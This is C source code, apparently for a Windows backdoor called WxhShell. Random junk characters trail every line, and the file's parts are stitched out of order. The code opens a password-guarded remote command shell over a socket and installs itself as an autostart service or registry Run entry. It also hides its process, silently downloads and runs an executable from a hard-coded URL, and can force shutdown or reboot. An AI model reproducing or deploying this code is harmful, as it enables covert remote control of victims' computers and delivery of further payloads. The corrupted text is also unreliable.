    if(Boot(SHUTDOWN)) "%w u2%i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +{.WQA}z\  
    else { P/eeC"  
    closesocket(wsh); BL }\D;+t  
    ExitThread(0); IFL*kB   
    } &DX! f  
    break; EI%89i`3^  
    } A}9`S6@@  
  // 获取shell )*J^K?!S  
  case 's': { -uG +BraI  
    CmdShell(wsh); }o(-=lF  
    closesocket(wsh); N:/D+L  
    ExitThread(0); 4xje$/_d  
    break; *w\W/Y  
  } $Ds2>G4c  
  // 退出 B~ GbF*j  
  case 'x': { ! n@KU!&k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N =}A Z{$  
    CloseIt(wsh); 5|s\* bV`  
    break; kbQ>a5`,x  
    } #=A)XlZMd  
  // 离开 LL~%f &_  
  case 'q': { *] ) `z8Ox  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vpr.Hn  
    closesocket(wsh); R 'zWYQ  
    WSACleanup(); FcU SE  
    exit(1); R__OP`!  
    break; hL{KRRf>  
        } tS=(}2Q  
  } ;*Et[}3  
  } ea 'D td  
^}o2  
  // 提示信息 ",; H`V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wd:uV  
} 0S!K{xyR  
  } ,#9PxwrO  
@qAS*3j  
  return; ;?p>e'  
} V**~m9f  
V U3upy<  
// shell模块句柄 `Ggbi4),  
int CmdShell(SOCKET sock) JK5gQ3C[  
{  ZBp/sm  
STARTUPINFO si; !_)[/q"  
ZeroMemory(&si,sizeof(si)); VpDbHAg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BW4J>{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; htF] W|z  
PROCESS_INFORMATION ProcessInfo; T(Eugl"  
char cmdline[]="cmd"; ^u ~Q/ 4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "+G8d' %YV  
  return 0; 9WyhZoPD*  
} W^l-Y %a/o  
2E'UZ m  
// 自身启动模式 !%c\N8<>GD  
int StartFromService(void) )jP1or  
{ Yc?*dUV  
typedef struct e(t\g^X  
{ @:#eb1 <S  
  DWORD ExitStatus; NC(~l  
  DWORD PebBaseAddress; zQd 2  
  DWORD AffinityMask; 64tvP^kp  
  DWORD BasePriority; k5pN  
  ULONG UniqueProcessId; %* }(}~  
  ULONG InheritedFromUniqueProcessId; 2\{zmc}G-0  
}   PROCESS_BASIC_INFORMATION; uK Hxe~  
_w +Qy.  
PROCNTQSIP NtQueryInformationProcess; cVF "!.  
3 Za}b|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AoxA+.O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h2d(?vOT  
xwo<' xT  
  HANDLE             hProcess; MQ8J<A Pf-  
  PROCESS_BASIC_INFORMATION pbi; $ddCTS^  
$xN|5;+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fNFY$:4X  
  if(NULL == hInst ) return 0; &%J08l6  
X'iWJ8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S"H2 7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &tj!*k'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4.t-i5  
^ [@ ,  
  if (!NtQueryInformationProcess) return 0; /%^#8<=|U  
3[*}4}k9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H4+i.*T#  
  if(!hProcess) return 0; ep{FpB  
+6+i!Sip  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eJ-nKkg~a  
E7hY8#G  
  CloseHandle(hProcess); 4o[{>gW  
"^GGac.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \dah^mw"  
if(hProcess==NULL) return 0; )Pv%#P-<  
k8zI(5.>  
HMODULE hMod; + {'.7#  
char procName[255]; uwGc@xOgg,  
unsigned long cbNeeded; nqUV  
Zj'9rXhrM1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z *x'+X  
j0q&&9/Jj  
  CloseHandle(hProcess); CpT jJXb  
3u0RKLc\  
if(strstr(procName,"services")) return 1; // 以服务启动 r9?Mw06Wc5  
JB<t6+"rD  
  return 0; // 注册表启动 Jln:`!#fDf  
} j#4kY R{  
o ^uA">GH  
// 主模块 ^U/O !GK  
int StartWxhshell(LPSTR lpCmdLine) u=e{]Ax#}  
{ `Urhy#LC  
  SOCKET wsl; FGzwhgy  
BOOL val=TRUE; 0w7DsPdS  
  int port=0; ?}Y]|c^W  
  struct sockaddr_in door; YN5rml'-  
d&>^&>?$zh  
  if(wscfg.ws_autoins) Install(); cH2K )~  
-XG@'P_  
port=atoi(lpCmdLine); GTHt'[t@;  
R=\IEqqsi  
if(port<=0) port=wscfg.ws_port; ~a2}(]  
5[0?g@aO  
  WSADATA data; f _:A0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <1TAw.  
<F'\lA9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~wdGd+ez  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cU  
  door.sin_family = AF_INET; {_*yGK48n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )t%b838l%  
  door.sin_port = htons(port); \Vk:93OH21  
n+R7D.<q!!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .e-#yET  
closesocket(wsl); 'Pbr v  
return 1; #5uOx(>  
} uXiN~j &Be  
?e?!3Bx;EM  
  if(listen(wsl,2) == INVALID_SOCKET) { t_1L L >R  
closesocket(wsl); /x *3}oI  
return 1; 3XNCAb2  
} DHRlWQox  
  Wxhshell(wsl); * v#o  
  WSACleanup(); f6p/5]=J26  
dc'Y `e  
return 0; izR"+v  
~}Pfu  
} P$,Ke<  
[#iz/q~}  
// 以NT服务方式启动 NHE18_v5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !VzC&>'v^9  
{  ~$J2g  
DWORD   status = 0; o+VQ\1as?(  
  DWORD   specificError = 0xfffffff; ~.|_RdN  
\b>] 8Un"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U $UIN#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?q [T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5:?! =<=  
  serviceStatus.dwWin32ExitCode     = 0; J .%IfN  
  serviceStatus.dwServiceSpecificExitCode = 0; \{D" !e  
  serviceStatus.dwCheckPoint       = 0; VxBo1\'  
  serviceStatus.dwWaitHint       = 0; 2Khv>#l  
=EsavN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (;,sc$H]  
  if (hServiceStatusHandle==0) return; s#GLJl\E_P  
!'I8:v&D  
status = GetLastError(); d_P` qA  
  if (status!=NO_ERROR) #0<XNLM  
{ Pzem{y7Ir  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1 -b_~DF  
    serviceStatus.dwCheckPoint       = 0; $pz/?>!  
    serviceStatus.dwWaitHint       = 0; K)P%;X  
    serviceStatus.dwWin32ExitCode     = status; !@"OB~  
    serviceStatus.dwServiceSpecificExitCode = specificError; rZpXPI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QsW/X0YBv  
    return; Fj!U|l\_9  
  } H;"4 C8K7  
cH)";] k*-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R|Q?KCI&  
  serviceStatus.dwCheckPoint       = 0; 8?C5L8)  
  serviceStatus.dwWaitHint       = 0; (-co.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #LNED)Vg  
} _VXN#@y  
}GIt!PG  
// 处理NT服务事件,比如:启动、停止 Yr|4Fl~U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Z6{9sKR=]  
{ o !7va"  
switch(fdwControl) <oeIcN7d  
{ v-Sd*( 6  
case SERVICE_CONTROL_STOP: 6w77YTJ  
  serviceStatus.dwWin32ExitCode = 0; *z2s$EZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *lb<$E]="!  
  serviceStatus.dwCheckPoint   = 0; Q59W#e)  
  serviceStatus.dwWaitHint     = 0; K,UMqAmk  
  { F:ELPs4"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &c #N)U  
  } T]$U""  
  return; #A.@i+Zv  
case SERVICE_CONTROL_PAUSE: 54qFfN8O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fc@A0Hf  
  break; 13 wE"-  
case SERVICE_CONTROL_CONTINUE: 048kPXm`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DV{=n C  
  break; Hx:;@_g q  
case SERVICE_CONTROL_INTERROGATE: hv+zGID7  
  break; ;wD)hNLAvR  
}; %XTI-B/K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2T`!v  
} yLcE X  
Xm&L B X  
// 标准应用程序主函数 g,Y/M3>(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ap !lQ>p  
{ w*Ihk)  
{>;R?TG]$  
// 获取操作系统版本 L0]_X#s>#  
OsIsNt=GetOsVer(); \j.:3X r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mA}"a<0  
-']56o_sQ/  
  // 从命令行安装 ^C%<l( b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ctV,Q3'Z  
QCJM&  
  // 下载执行文件 I?NyM  
if(wscfg.ws_downexe) { DL.!G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?1".;foZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dhv3jg;lq  
} B1Oq!k  
\[nut;  
if(!OsIsNt) { =Runf +}  
// 如果时win9x,隐藏进程并且设置为注册表启动 LHmZxi?  
HideProc(); <6=c,y  
StartWxhshell(lpCmdLine); t:c.LFrF  
} /L#?zSt  
else mcok/,/  
  if(StartFromService()) L8n|m!MOD  
  // 以服务方式启动 y_9Ds>p!T  
  StartServiceCtrlDispatcher(DispatchTable); 6zn5UW#q  
else 5:U so{  
  // 普通方式启动 Qci]i)s$js  
  StartWxhshell(lpCmdLine); -{_PuJ "  
=":,.Ttq41  
return 0; 3N:D6w-R  
} >i O!*&Y>  
Np)lIGE  
:i7;w%B  
]N[ 5q=A5  
=========================================== GH xp7H  
*owU)  
|D.ND%K&  
D3A/l  
S@sO;-^+  
u-C)v*#L  
" s<o7!!c  
iyog`s c  
#include <stdio.h> 39jG8zr=Z[  
#include <string.h> -{+}@?  
#include <windows.h> l@:0e]8|o  
#include <winsock2.h> $mB;K]m  
#include <winsvc.h> PxE3K-S)G  
#include <urlmon.h> Lh<).<S  
[1KuzCcK}  
#pragma comment (lib, "Ws2_32.lib") bu"!jHPB  
#pragma comment (lib, "urlmon.lib") a'z7(8$$  
~v"L!=~G;a  
#define MAX_USER   100 // 最大客户端连接数 1i ] ^{;]  
#define BUF_SOCK   200 // sock buffer ZAf7Tz\U  
#define KEY_BUFF   255 // 输入 buffer fxIf|9Qi`  
sN wI 0o  
#define REBOOT     0   // 重启 snikn&  
#define SHUTDOWN   1   // 关机  7[wieYj{  
3[f): u3"  
#define DEF_PORT   5000 // 监听端口 <^uBoKB/f  
3D(0=$ W  
#define REG_LEN     16   // 注册表键长度 <Ok3FE.K  
#define SVC_LEN     80   // NT服务名长度 VD\=`r)nT  
t()c=8qF|u  
// 从dll定义API r"R#@V\'1b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ri.I pRe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zv"Z DRW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x$%!U[!3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I`p;F!s  
as_PoCoss  
// wxhshell配置信息 5 u0HI  
struct WSCFG { !Rt>xD  
  int ws_port;         // 监听端口 ;({W#Wa  
  char ws_passstr[REG_LEN]; // 口令 MqUH',\3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1!gbTeVlY  
  char ws_regname[REG_LEN]; // 注册表键名 '`<w#z}AF  
  char ws_svcname[REG_LEN]; // 服务名 ! v0LBe4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >dG[G>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 })?GzblI&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 = 9]~ yt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B93+BwN>95  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vZoaT|3 G]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eGHaY4|  
}>X~  
}; O1mKe%'|  
,4oo=&  
// default Wxhshell configuration bY0|N[ g  
struct WSCFG wscfg={DEF_PORT, o0vUj  
    "xuhuanlingzhe", _ORvo{[:  
    1, ;d9QAN&0}  
    "Wxhshell", '08=yqy4N  
    "Wxhshell", "FKOaQ%IH  
            "WxhShell Service", #YOA`m,'  
    "Wrsky Windows CmdShell Service", C73 kJa  
    "Please Input Your Password: ", ?1eK#Z.  
  1, Ue~CwFOc  
  "http://www.wrsky.com/wxhshell.exe", >oe]$r  
  "Wxhshell.exe" J9[r|`gJ(  
    }; :[!j?)%>  
abLnI =W`  
// 消息定义模块 uU25iDn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z/;aT -N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I(0~n,=j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w*JGUk  
char *msg_ws_ext="\n\rExit."; ^]-6u:J!  
char *msg_ws_end="\n\rQuit."; Q)[C?obd v  
char *msg_ws_boot="\n\rReboot..."; > "=>3  
char *msg_ws_poff="\n\rShutdown..."; J6aef ^>  
char *msg_ws_down="\n\rSave to "; & 9 ?\b7  
[1 9,&]z  
char *msg_ws_err="\n\rErr!"; KyQX!,rV  
char *msg_ws_ok="\n\rOK!"; Hg$lXtn]  
,Vk3kmuvr]  
char ExeFile[MAX_PATH]; 0=E]cQwh  
int nUser = 0; 0s2v'A[\  
HANDLE handles[MAX_USER]; `^Em&6!!  
int OsIsNt; <yFu*(Q  
6b \&~b@T  
SERVICE_STATUS       serviceStatus; `lt"[K<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =>af@C.2  
A=wh@"2  
// 函数声明 ~O &:C{9=  
int Install(void); .=jay{  
int Uninstall(void); ?m? ::RH  
int DownloadFile(char *sURL, SOCKET wsh); V% 6I\G2/:  
int Boot(int flag); ={wcfhUl+  
void HideProc(void); 8eHyL  
int GetOsVer(void); uGEfIy 2  
int Wxhshell(SOCKET wsl); }d}Ke_Q0  
void TalkWithClient(void *cs); vTzlwK\#1  
int CmdShell(SOCKET sock); ,>mrPtxN  
int StartFromService(void); ^RtIh-Z.9  
int StartWxhshell(LPSTR lpCmdLine); b?QoS|<e?  
` v@m-j6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~AT'[(6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y#P%6Fy  
@7j AL-  
// 数据结构和表定义 C={Y;C1  
SERVICE_TABLE_ENTRY DispatchTable[] = "mvt>X  
{ h|{]B,.Lh  
{wscfg.ws_svcname, NTServiceMain}, DG:Z=LuJr  
{NULL, NULL} [}0haTYc4  
}; Q|?L*Pq2I  
76h ,]xi  
// 自我安装 =mp;.k95  
int Install(void) zsyIV!(  
{ #Kex vP&*  
  char svExeFile[MAX_PATH]; (\YltC@q%  
  HKEY key; 6.nCV 0xA  
  strcpy(svExeFile,ExeFile); s{\8om '-  
EE'io5\et  
// 如果是win9x系统,修改注册表设为自启动 +Kbjzh3<wG  
if(!OsIsNt) { O*)Vhw'pK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f5VLw`m}.8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]*[ 2$  
  RegCloseKey(key); XG{zlOD+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &H/'rd0M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D (?DW}Rqs  
  RegCloseKey(key); iN8zo:&Z  
  return 0; M{T-iW"  
    } 4-H+vNG{%  
  } "8jf81V*  
} 7/@TF/V  
else { A1>OY^p3%  
70tH:Z)"  
// 如果是NT以上系统,安装为系统服务 WX|`1b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~^fZx5  
if (schSCManager!=0) l$pm_%@2]  
{ G[I"8iS,  
  SC_HANDLE schService = CreateService zFff`]^`  
  ( P'[3Fqe  
  schSCManager, EC!02S  
  wscfg.ws_svcname, Mc_YPR:C  
  wscfg.ws_svcdisp, 9u}Hmb  
  SERVICE_ALL_ACCESS, lbl?k5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tq6!`L}3  
  SERVICE_AUTO_START, _ y8Wn}19f  
  SERVICE_ERROR_NORMAL, o 5uph=Q{  
  svExeFile, peuZ&yK+"  
  NULL, Ep3N&Imp  
  NULL, $OkBg0  
  NULL, vJc-6EO  
  NULL, ']z{{UNUN  
  NULL x vl#w  
  ); 3z9d!I^>k  
  if (schService!=0) &n}f?  
  { qCpp6~]Um  
  CloseServiceHandle(schService); }1i`6`y1  
  CloseServiceHandle(schSCManager); gANuBWh8T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rmt~,cW!\  
  strcat(svExeFile,wscfg.ws_svcname); ][h%UrV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?2{Gn-{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &LZn FR  
  RegCloseKey(key); /saIs%(fU  
  return 0; ?5|>@>  
    } Pz|>"'  
  } tla 5B_  
  CloseServiceHandle(schSCManager); (G4at2YLd  
} Ed,~1GanY  
} {19PL8B~}  
1&evG-#<:  
return 1; sRL`dEl4l  
} >xYpNtEs  
9gEwh<  
// 自我卸载 C>j@,G4  
int Uninstall(void) ]kRfB:4ED  
{ "ZoRZ'i  
  HKEY key; z] P SpUd  
}mq6]ZrK  
if(!OsIsNt) { wyj{zWRJp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BsqP?/  
  RegDeleteValue(key,wscfg.ws_regname); (X1e5j>Ru  
  RegCloseKey(key); 37 ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ou!2 [oe@M  
  RegDeleteValue(key,wscfg.ws_regname); bvr^zH,C  
  RegCloseKey(key); xH(lm2kvT  
  return 0; xPk8$1meZM  
  } O%zU-_|*  
} Cc' 37~6~P  
} 8\ +T8(m  
else { G"U9E5O  
7>Ouqxh21  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K'Tm_"[u  
if (schSCManager!=0) kmsb hYM)  
{ I{9QeR I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >WQMqQ^t@  
  if (schService!=0) NI}yVV  
  { st3l2Q  
  if(DeleteService(schService)!=0) { EZy)A$|  
  CloseServiceHandle(schService); QP^Cx=  
  CloseServiceHandle(schSCManager); l7259Ro~  
  return 0; ]&xk30  
  } otl0J Ht*+  
  CloseServiceHandle(schService); _jI,)sr4ic  
  } AOWmzu{zw  
  CloseServiceHandle(schSCManager); |\<`Ib4j  
} v/0QOp  
} j4qR(p(vC  
}=UHbU.n~!  
return 1; E$:*NSXj  
} W*4-.*U8a  
o"Euwh!!  
// 从指定url下载文件 M7a.8-!1  
int DownloadFile(char *sURL, SOCKET wsh) m!4ndO;0vh  
{ fc%xS7&  
  HRESULT hr; uK#4(eY=W  
char seps[]= "/"; dTC7Fm  
char *token; ~xfP:[u  
char *file; 7he,?T)vD  
char myURL[MAX_PATH];  V!ZC(  
char myFILE[MAX_PATH]; $L>@Ed<  
}Qc@m9;bH  
strcpy(myURL,sURL); BNl5!X^{  
  token=strtok(myURL,seps); c74.< @w  
  while(token!=NULL) 6C^ D#.S  
  { m )zUU  
    file=token; -MO#]K3<  
  token=strtok(NULL,seps); ./k/KSR  
  } @ ZwvBH  
G5RR]?@6V  
GetCurrentDirectory(MAX_PATH,myFILE); 5C*Pd Wpl  
strcat(myFILE, "\\"); *vN-Vb^2i)  
strcat(myFILE, file); MS>Ge0P("~  
  send(wsh,myFILE,strlen(myFILE),0); P[#e/qnXu|  
send(wsh,"...",3,0); RtP2]O(F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xy&A~F  
  if(hr==S_OK) 6BHXp# #z  
return 0; Ovt.!8  
else vNY{j7l/W  
return 1; 9J*\T(W  
Gg3,:A_ w  
} 0r] t`{H  
}6}l7x  
// 系统电源模块 E7 Ul;d  
int Boot(int flag) '&R2U_  
{ @=Uh',F  
  HANDLE hToken; i2A81>68<  
  TOKEN_PRIVILEGES tkp; A*R^n}sh  
ZW8vza  
  if(OsIsNt) { y8Z_Itlf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }wjw:M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "3"V3w  
    tkp.PrivilegeCount = 1; N1S{suic  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vq0Tk bzs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Oo8VeRZ  
if(flag==REBOOT) { &yTqZ*Yuk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p* (JjH  
  return 0; Lpz>>}  
} S6M}WR^,  
else { ?.-wnz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n;Q7X>-f8`  
  return 0; K?Nhi^f"L  
} :&rt)/I  
  } H8zK$!  
  else { V)-+Fd,=  
if(flag==REBOOT) { V-2(?auZd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |t&>5HM  
  return 0; _LUhZlw  
} K.nHii   
else { (sTpmQx,b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y>T-af49  
  return 0; $}q23  
} GPv1fearl  
} LTCb@L{^i  
YnS#H"  
return 1; wn, KY$/  
} DE8n+Rm  
#PW9:_BE  
// win9x进程隐藏模块  #ut  
void HideProc(void) ]e^&aR5f"  
{ Jk11fn;\>  
J T7nG.9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1tY)_-8[  
  if ( hKernel != NULL ) 0c]/bs{}  
  { vY}g<*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t?&|8SId  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ gGW8Q;  
    FreeLibrary(hKernel); Z'W =\rl  
  } KVaiugQ   
VG#EdIiI  
return; vjCu4+w($Z  
} 3E]plj7$  
^4hO  
// 获取操作系统版本 Xp% v.M  
int GetOsVer(void) "5!oi]@>(  
{ uc\Kg1{  
  OSVERSIONINFO winfo; e@ 07  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hJ? O],4J  
  GetVersionEx(&winfo); [`[|l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^_W#+>&--  
  return 1; aEWWP]  
  else 1Z2HUzqh.  
  return 0; t+ G#{n  
} A#<?4&  
V>LwqS~`  
// 客户端句柄模块 cn3\kT*  
int Wxhshell(SOCKET wsl) 'n]w"]|  
{ jo@6?( *4  
  SOCKET wsh; F6|]4H.3Q  
  struct sockaddr_in client; 1D7 `YKI9h  
  DWORD myID; [Ek7b *  
o5GcpbZ3k  
  while(nUser<MAX_USER) (@VMH !3  
{ LEf^cM=>  
  int nSize=sizeof(client); D%SlAzZ3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X-Kh(Z  
  if(wsh==INVALID_SOCKET) return 1; 2(+2+ }  
q`a'gJx#y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1#2 I  
if(handles[nUser]==0) MUc$ j&  
  closesocket(wsh); @ioJ] $o7  
else [5b--O  
  nUser++; Bahm]2  
  } |F[+k e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KqJs?Won  
50wulGJud  
  return 0; 9>/4W.  
} #x60xz  
9T9!kb  
// 关闭 socket _Y4` xv0/  
void CloseIt(SOCKET wsh) Y =I'czg  
{ uyWunpT  
closesocket(wsh); q:0N<$63  
nUser--; sb*G!8j  
ExitThread(0); Eyqa?$R  
} @n /nH?L  
~jk|4`I?T  
// 客户端请求句柄 tw/dD +  
void TalkWithClient(void *cs) 9:|{6_Y  
{ #q$HQ&k  
()?(I?II  
  SOCKET wsh=(SOCKET)cs; n;_sG>N  
  char pwd[SVC_LEN]; v{N`.~,^  
  char cmd[KEY_BUFF]; u4?L 67x  
char chr[1]; Y\P8 v  
int i,j; 7Q9 w?y~c  
7S :\"A7  
  while (nUser < MAX_USER) { B dfwa  
xm~`7~nFR  
if(wscfg.ws_passstr) { An0|[uWH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \?-<4Bc@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !>o7a}?  
  //ZeroMemory(pwd,KEY_BUFF); yx[/|nZDC4  
      i=0; '<)n8{3Q5w  
  while(i<SVC_LEN) { eC4[AX6e  
8kIksy  
  // 设置超时 )dw'BNz5hT  
  fd_set FdRead; I$G['` XX/  
  struct timeval TimeOut; pah'>dAL  
  FD_ZERO(&FdRead); R) h#Vc(  
  FD_SET(wsh,&FdRead); h,N?Ab'S  
  TimeOut.tv_sec=8; ^z*t%<@[Q  
  TimeOut.tv_usec=0; Wvh#:Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ebhXak[w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u&vf+6=9Dd  
khxnlry  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +\]\[6  
  pwd=chr[0]; jB2[(  
  if(chr[0]==0xd || chr[0]==0xa) { <'Eme  
  pwd=0; g:@#@1rB6  
  break; _|2:_N=   
  } <xm7qmqI  
  i++; %wy.TN  
    } >]TWXmx/w  
9.-S(ZO  
  // 如果是非法用户,关闭 socket C{rcs'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ .g@hS8>  
} zC!t;*8a  
$h"\N$iSq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9cF[seE"0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /{_:{G!Q0  
9TC,!0U{_.  
while(1) { q3!bky\  
@S;'@VC  
  ZeroMemory(cmd,KEY_BUFF); /,yd+wcW#  
!e<^? r4  
      // 自动支持客户端 telnet标准    kDioD  
  j=0; bAqA1y3=  
  while(j<KEY_BUFF) { .L~AL|2_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (w3YvG.  
  cmd[j]=chr[0]; 2/^3WY1U  
  if(chr[0]==0xa || chr[0]==0xd) { ES7s1O$#  
  cmd[j]=0; ouQ T  
  break; M6j y\<a  
  } 4+8@`f>s  
  j++; g3y~bf  
    } {;1\+ f  
H7n>Vx:L-  
  // 下载文件 Q)h(nbbVak  
  if(strstr(cmd,"http://")) { C1)!f j=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J ZS:MFA  
  if(DownloadFile(cmd,wsh)) r#a=@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oG\Vxg*  
  else SqpaFWr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  =:pJ  
  } a1lh-2x X  
  else { T8$y[W-c  
V 5mTP'  
    switch(cmd[0]) { g) jYFfGfH  
